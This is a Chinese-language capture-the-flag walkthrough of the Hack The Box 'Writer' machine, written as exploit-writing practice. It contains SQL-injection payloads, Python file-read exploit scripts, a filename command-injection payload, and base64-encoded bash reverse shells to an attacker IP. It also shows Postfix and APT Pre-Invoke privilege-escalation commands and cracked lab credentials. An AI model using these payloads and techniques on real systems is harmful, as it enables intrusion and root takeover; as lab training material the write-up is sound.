HTB: Writer (OSWE 靶機)

Writer 是一道中等難度的 Linux 主機。起初可透過 SQL Injection 觸發的檔案讀取漏洞,洩露包含敏感憑證的原始碼。攻擊者進一步利用被重複使用的密碼登入 SMB,並透過圖片上傳功能中的盲 SSRF 漏洞取得初始存取權。隨後,藉由濫用 Django 的特性,可以擷取並破解多名使用者的帳密。取得使用者權限後,主機上的多項 Postfix 錯誤設定提供了更進一步的攻擊面。最終,攻擊者利用 apt 更新流程中的腳本執行權限問題,成功以低權限帳號在系統的自動更新機制中注入命令並提升至 root。

機器資訊

  • 平台: Hack The Box

  • 難度: Medium

  • IP: 10.129.252.220

  • 作業系統: Linux

偵察(Recon)

Nmap 掃描-TCP

sudo nmap -sC -sV -p- --min-rate 10000 10.129.252.220 -oA scan/TCP
[sudo] password for control: 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-26 08:46 EST
Nmap scan report for 10.129.252.220
Host is up (0.31s latency).
Not shown: 65531 closed tcp ports (reset)
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 98:20:b9:d0:52:1f:4e:10:3a:4a:93:7e:50:bc:b8:7d (RSA)
|   256 10:04:79:7a:29:74:db:28:f9:ff:af:68:df:f1:3f:34 (ECDSA)
|_  256 77:c4:86:9a:9f:33:4f:da:71:20:2c:e1:51:10:7e:8d (ED25519)
80/tcp  open  http        Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Story Bank | Writer.HTB
|_http-server-header: Apache/2.4.41 (Ubuntu)
139/tcp open  netbios-ssn Samba smbd 4
445/tcp open  netbios-ssn Samba smbd 4
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: 1m10s
|_nbstat: NetBIOS name: WRITER, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2025-11-26T13:48:12
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 34.07 seconds

TCP開放端口: - 22/tcp - SSH (OpenSSH 8.9p1) - 80/tcp - Apache httpd 2.4.41 ((Ubuntu))

TCP 80

從網頁上看起來是新聞專欄,並沒有什麼可以利用的 從About可瞭解到他10年寫作經驗,並且最近開始在做網路開發,會寫東西發在部落格上

Shell to www-data

使用目錄爆破一陣子後找出有一個特殊的路徑是administrative 是一個管理者的登入頁面,嘗試SQL injection 這邊使用SQL injection成功注入繞過登入,同時這邊屬於盲注,無法從前端看到任何報錯的資訊

admin' -- -

或者是下面的最後面一格有空格是因為MySQL的特性

admin' -- 

另外也可以使用這個payload 去繞過,可以不用管後面接什麼因為MySQL都會當作註解,但如果在URL 必須要做encoding才能夠讓Mysql當作註解

admin' #

舉個例子

SELECT * FROM users WHERE user='admin'--'

如果沒有輸入空格,MySQL在user輸入 admin'時讀到'會認為字串結束 然後接下來看到--會自動認為兩個減號而不是註解。

SELECT * FROM users WHERE user='admin'-- '

如果是上面這個看到兩個減號,而且後面跟著一個空白(也就是控制字元) 會自動判定是註解

既然已經確定擁有SQLinjection的漏洞,嘗試列出欄位

admin' UNION SELECT 1,2,3,4,5,6 -- -

admin' UNION SELECT 1,SLEEP(5),3,4,5,6 -- -

使用SLEEP(5)也可以從右下角看出被睡了5秒 嘗試使用load_file() 去讀取檔案

admin' UNION SELECT 1,load_file('/etc/passwd'),3,4,5,6 -- -

寫個exploit讀取/etc/passwd

import requests
import sys

url = "http://10.129.252.220/administrative" #change the target url
target_file = "/etc/passwd"
print(f'[*] Reading......:{target_file}')

payload =f"admin' UNION SELECT 1,load_file('{target_file}'),3,4,5,6 -- -"

data = {
    'uname': payload
    ,'password': '123'}

try:
    response = requests.post(url, data=data)

    if response.status_code == 200:
        print("\n[+]Successful:\n")
        print(response.text)
        print("\n" + "="*30)
        print("search 'root:x:0:0'")

    else:
        print(f"[-]fail state code {response.status_code}")
except Exception as error:
    print(f" error {error}")                   

成功使用python 讀取etc/passwd,但格式還是有點醜 我只想要呈現/etc/passwd的內容,如果要讓整個exploit輸出更乾淨,就必須要使用re 正規化模組 我們只要admin後面到 </h3>的內容 也就是說使用下面的規則去做過濾

pattern = r"Welcome\s+(.*?)</h3>"

以及還需要使用

re.search(..., re.S)

基本上我目前使用 re 模組抓取 HTML 內容都會去使用,因為HTML太多換行,尤其是像這種/etc/passwd都是換行

import requests
import sys
import re   


url = "http://10.129.252.220/administrative"
target_file = "/etc/passwd"

payload = f"admin' UNION SELECT 1,load_file('{target_file}'),3,4,5,6 -- -"

data = {
    'uname': payload,
    'password': '123'
}

try: 
    response = requests.post(url,data=data)

    if response.status_code == 200:
        pattern = r"Welcome\s+(.*?)</h3>"

        match = re.search(pattern, response.text, re.S)

    if match:
        clean_content = match.group(1).strip()

        if clean_content != "admin":
            print(clean_content)
        else:
            print("[-] loding fail")
    else:
        print("[-] check webpage")

except Exception as e:a
    print(f"{e}")

接下來就是想辦法搞成字典檔,我用這個

import requests
import re
import sys

if len(sys.argv) < 2:
    print(f"input python {sys.argv[0]} <filepath>")
    sys.exit()

target_file = sys.argv[1]

print(f"[*] Reading file:{target_file}")
url = "http://10.129.252.220/administrative"
payload = f"admin' UNION SELECT 1,load_file('{target_file}'),3,4,5,6 -- -"

data = {
    'uname': payload,
    'password': '123'
}

try:
    response = requests.post(url, data=data)

    if response.status_code == 200:

        pattern = r"Welcome\s+(.*?)</h3>"
        match = re.search(pattern, response.text, re.S)

        if match:
            content = match.group(1).strip()

            if content != "admin":
                print("\n" + "="*30)
                print(content)
                print("="*30 + "\n")
            else:
                print("loading fail:file not exsist")
        else:
            print("[-] Regex fail: cant find pattern!!!")
    else:
        print(f"[-] connecting fail code:{response.status_code}")

except Exception as e:
    print(f"[-] error: {e}")

使用上面這個payload可以更方便,不得不說寫個個

python sys_union.py /etc/passwd

for file in $(cat target_list.txt); do python3 writer_cli.py "$file"; done

如果使用kali 內建的 for 迴圈下去跑每個資料夾 會不方便看,在寫一個輸出檔案的exploit

基本上只要加

import os

然後設定一個資料夾名稱

output_dir = "file"

接下來在content != "admin"裡面加

if not os.path.exists(output_dir):
                    os.makedirs(output_dir)
safe_filename = target_file.replace("/", "_")                
save_path = os.path.join(output_dir, safe_filename)
with open(save_path, "w", encoding="utf-8") as f:f.write(content)
print(f"[+] Success! Saved to: {save_path}")
print("-" * 30)
 print(content[:100] + "...\n")

完整exploit如下

import requests
import re
import sys
import os 


if len(sys.argv) < 2:
    print(f"input python {sys.arv[0]} <filepath>")
    sys.exit()

target_file = sys.argv[1]

print(f"[*] Reading file:{target_file}")
url = "http://10.129.252.220/administrative"
output_dir = "loot"

payload = f"admin' UNION SELECT 1,load_file('{target_file}'),3,4,5,6 -- -"

data = {
    'uname': payload,
    'password': '123'
}

try:
    response = requests.post(url, data=data)

    if response.status_code == 200:

        pattern = r"Welcome\s+(.*?)</h3>"
        match = re.search(pattern, response.text, re.S)

        if match:
            content = match.group(1).strip()

            if content != "admin":
                if not os.path.exists(output_dir):
                    os.makedirs(output_dir)

                safe_filename =target_file.replace("/","_")
                save_path = os.path.join(output_dir,safe_filename)
                with open(save_path,"w", encoding="utf-8") as f:
                    f.write(content)
                print(content[:100] + "...\n")

            else:
                print("loading fail:file not exsist")
        else:
            print("[-] Regex fail: cant find pattern!!!")
    else:
        print(f"[-] connecting fail code:{response.status_code}")

except Exception as e:
    print(f"[-] error: {e}")

在執行一次

for file in $(cat target_list.txt); do python3 writer_cli.py "$file"; done

可以看到loot 資料夾裡面有一堆東西 開始看什麼酷的

_etc_mysql_my.cnf

djangouser:DjangoSuperPassword 從帳號可以推判可能是Django框架 查看/etc/crontab 沒東西 apache的配置檔

_etc_apache2_sites-enabled_000-default.conf

從配置檔裡面發現一個下半段很多被註解掉 並且提到dev.writer.htb的subdomain他說後端開發後會開在8080

# WSGIScriptAlias / /var/www/writer2_project/writerv2/wsgi.py

並且可以看到有wsgi.py,在跟前面發現mysql config裡面有django的特徵 可以推測整個架構是這樣,可以從這邊看到

my_project/
│
├── manage.py
├── README.md
├── requirements.txt
├── .gitignore
├── .env
├── my_project/             # Main project folder
│   ├── __init__.py
│   ├── settings.py         # Or a settings/ folder with separate files (base.py, dev.py, prod.py)
│   ├── urls.py
│   ├── wsgi.py
│   ├── asgi.py
│   └── static/             # Global static files (optional, can be managed by each app)

嘗試存取 settings.py 以及 __init__.py,可惜的是好像沒有settings.py這個檔案, 幸運的是找到另外一組帳密admin:ToughPasswordToCrack,且db名稱是writer 既然都能看到整個網站的code 這時候就來code review看哪裡有問題 在這段的裡面其中裡面有os.system()是command injection的 從一開始做檢查

im = Image.open(image) 
im.verify()
im.close()

只有在im.verify()驗證檔案內容,卻沒驗證檔案名字叫什麼

os.system("mv /tmp/{} /var/www/writer.htb/writer/static/img/{}".format(image, image))

在做字串拼接的時候.format()會把我們的檔案名稱直接寫進去 假設一下,現在這是我們的變數

mv /tmp/{} /var/www/writer.htb/writer/static/img/{}

正常檔案名稱是 control.jpg的話,裡面會變成

mv /tmp/control.jpg /var/www/writer.htb/writer/static/img/control.jpg

會正常的移動jpg,使用mv指令搬到他想要的路徑,而且他沒做任何過濾 那現在如果使用;會執行下一個指令就可以觸發我們的command injection 後面的/var....就沒啥意義 接下來就來驗證我們邏輯看能不能觸發command injection 從/static/img可以看到我們上傳後的jpg檔案 直接使用whoami看看 在這邊嘗試了ls whoami都無法成功利用os.system()的原因在這行

local_filename, headers = urllib.request.urlretrieve(image_url)

試著去了解一下 urlretrieve()這個Function 有兩種用法, 第一種

urlretrieve(url, "my_photo.jpg")

從網頁裡下載圖片,並後面取command injction的檔名,就能夠順利在os.system() 執行 成功觸發 id whoami等指令 第二種則是以下 Python 會在暫存目錄/tmp裡面 把我們的檔案名字變成一個亂數,導致我們前面無法成功運行command injection 既然http會亂數試試看file協定 使用file協定存取檔案檔名就不會變成亂數!! 我們前面有使用LFI列舉到『_etc_apache2_sites-enabled_000-default.conf』 可以知道完整的路徑

/var/www/writer.htb/writer/static

也就是說我們只需要使用

file:///var/www/writer.htb/writer/static/上傳的.jph;whoami

我先上傳Control1235.jpg

file:///var/www/writer.htb/writer/static/Control1235.jpg;echo aWZjb25maWcK |base64 -d |bash;

並且在image_url輸入上面的payload 可惜無法使用 whoami 或者是 ifconfig確定能不能觸發 使用ping回我們kali看能不能收到封包,如果可以收到封包那就可以直接彈回shell

file:///var/www/writer.htb/writer/static/Control1235.jpg;echo
cGluZyAtYyA0IDEwLjEwLjE0Ljc3Cg==|base64 -d |bash;

當我們確定送出ping指令能收到封包直接拿shell了 最後payload懶人包

echo -n "bash -c 'bash -i >& /dev/tcp/10.10.14.77/4567 0>&1'" | base64

使用 echo -n不輸出最後的換行符號

touch 'Hackwithcontrol.jpg; `echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC43Ny80NTY3IDA+JjEn | base64 -d | bash `;'

創建一個檔案 可以decode 我們的command injection 也就是說 後面程式是這樣

mv /tmp/Hackwithcontrol.jpg; `echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC43Ny80NTY3IDA+JjEn | base64 -d | bash `; /var/www/writer.htb/writer/static/img/Hackwithcontrol.jpg; `echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC43Ny80NTY3IDA+JjEn | base64 -d | bash `;

並且前面提到file://可以繞過這個限制,導致可以使用os.system()觸發,讚啦

www-data to kyle

script /dev/null -c bash

這邊沒有任何python,先升級shell

一樣可以從/var/www看到我們前面使用LFI拿出來的__inin__.py檔案 也是一樣可以看到有一個database是writer跟 一組cred 從/var/www/writer2_project這個路徑可以看到有一個manage.py檔案這邊看到可以知道manage.py 是 Django 提供的命令列工具,我們可以利用它執行很多工作,例如同步資料庫、建立 app 等等

也就是說現在我們必須要先確定settings有沒有權限設定的問題如果www-data也是擁有者我們就能夠利用manage.py去存取資料庫 可以看到settings.py是www-data,從這篇可以告訴我們使用dbshell可以直接存取資料庫

python3 manage.py dbshell

成功存取MariaDB

show tables;

列出tables

select * from auth_user;

選擇tables 看到一組cred 是 kyle以及他的hash 使用hashcat爆破

hashcat 'pbkdf2_sha256$260000$wJO3ztk0fOlcbssnS1wJPD$bbTyCB8dYWMGYlz4dSArozTY7wcZCS7DV6l5dpuXM4A=' /usr/share/wordlists/rockyou.txt

爆破出來的密碼是『marcoantonio』

kyle to root

一樣列舉kyle有什麼資訊可以利用

id

會發現有一個很奇怪的群組filter 搜尋 filter(Group) 的檔案

find / -group filter 2>/dev/null

這個群組只有兩個檔案,查看這兩個檔案有什麼權限 在/etc/postfix/disclaimer 可以看到在對應的群組可以執行且編輯 在/var/spool/filter的部分則是擁有全部的權限,因為我們擁有filter的權限

find  /  -group filter -ls  2>/dev/null

也可以使用以上直接列出會看得比較清楚 接下來一樣來列舉正在監聽的 TCP 服務

netstat -ano 

環境沒有netstat

ss -lnpt

可以看到在127.0.0.1有開一個 25port ,而通常這個port 都是smtp,我們在一開始使用nmap時沒有掃到的原因是他只能在127.0.0.1使用

直接去搓127.0.0.1:25

nc 127.0.0.1 25

可以看到25 port Response 『ESMTP Postfix』,而我們前面列舉也有看到 filter擁有可讀可寫postfix的權限 從/etc/postfix/disclaimer 可以看到裡面是使用/bin/sh所寫的內容,但現在還需要確定這支程式是由誰執行,因為我們擁有了讀寫的權限,寫入bash的reverseshell很簡單。

bash -i >& /dev/tcp/10.10.14.XXX/4444 0>&1

於是找到了這邊文章他裡面詳細了說明postfix怎麼判斷執行的人 為了驗證是誰執行的必須去/etc/postfix/master.cf看 可以看到最後一個user=john

大致上拿到John的shell的流程是 Postfix再知道我們要寄出去信的時候,他會去查看master.cf這個檔案後,會使用john去執行/etc/postfix/disclaimer

bash -c bash -i >& /dev/tcp/10.10.14.77/7878 0>&1

寫進去/etc/postfix/disclaimer裡面 接下來就是寄信了可以從這邊看到SMTP格式

MAIL FROM:kyle@writer.htb
RCPT TO:john@writer.htb
DATA
Subject: Coolstuff
testtest
.

只不過問題來了,每次都寄信後都會發生問題,就是他一下子就會把/etc/postfix/disclaimer重置,現在最好的狀況就是寫一個python,可以依據這邊參考如何寫個smtp寄信功能,已經有基本骨架,再使用sys

import smtplib
import sys
from email.mime.text import MIMEText
from email.header import Header

smtp_server = "127.0.0.1"
smtp_port = 25 

if len(sys.argv) < 4:
    print(f"Usege: python3{sys.argv[0]}'<send><receive><body>")
    print(f"Example:python3{sys.argv[0]}'kyle@writer.htb john@writer.ht openit")
    sys.exit()

sender = sys.argv[1]
receiver = sys.argv[2]
subject = sys.argv[3]
body = "Nothing to say"

message = MIMEText(body, 'plain', 'utf-8')
message['From'] = sender
message['To'] =  receiver
message['Subject'] = Header(subject, 'utf-8')

try:

    smtp = smtplib.SMTP(smtp_server, smtp_port)
    smtp.ehlo() 
    smtp.sendmail(sender, [receiver], message.as_string())

    print(f"[+] Successful!")
    print(f"    From: {sender}")
    print(f"    To:   {receiver}")

    smtp.quit()

except Exception as e:
    print(f"[-] Fail: {e}")

但因為目前的環境還需要同時修改disclaimer,直接寫入比較快,就不用再用vim了

echo "bash -c 'bash -i >& /dev/tcp/10.10.17.3/7878 0>&1'" > /etc/postfix/disclaimer
python3 smtp_local.py kyle@writer.htb john@writer.htb "cool"

成功拿到john

John to Root

拿到John之後,發現John裡面都沒東西 裡面有ssh,直接把私鑰拿出來,並且用他的私鑰登入

ssh -i john_private_key john@10.129.254.34

成功使用 john私鑰登入 接下來一樣列舉看有什麼資訊可以利用的

id

可以看到John同時有management的群組

find / -group management -ls 2>/dev/null

可以看到我們擁有寫入/etc/apt/apt.conf.d的權限 接下來同時上linpeas以及pspy看有什麼資訊可以利用

使用linpeas一樣會顯示manager可以執行/etc/apt/apt.conf.d 從這邊文章可以看到這個資料夾可能是APT proxy設定檔,當我們修改完內容,必須要執行

apt update

看能不能正常運作,現在還是需要確定會不會定期執行apt update Bingo 看到有在排程做apt update,從GTFObins可以看到When the shell exits the update command is actually executed.

sudo apt update -o APT::Update::Pre-Invoke::=/bin/sh

可以看到他是設定 Pre-Invoke 去拿到root的 APT 的設定檔 有一些既定的格式,Pre-Invoke就是在執行apt-get update 真正下載東西的時候之前先執行檔案 開始做payload

echo '/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.14.77/8888 0>&1"' | base64 -w0
echo 'apt::Update::Pre-Invoke {"echo L2Jpbi9iYXNoIC1jICIvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNzcvODg4OCAwPiYxIgo= | base64 -d | bash"};' > 000-Controler

成功拿到root,這台靶機環境不太穩定前前後後大概重置了快10次,但可以學習到如何在不同環境撰寫exploit,以及橫向移動需要列舉哪些內容,是個在考OSCP可以參考的提權方向,也是在準備OSWE練習寫exploit的不錯的靶機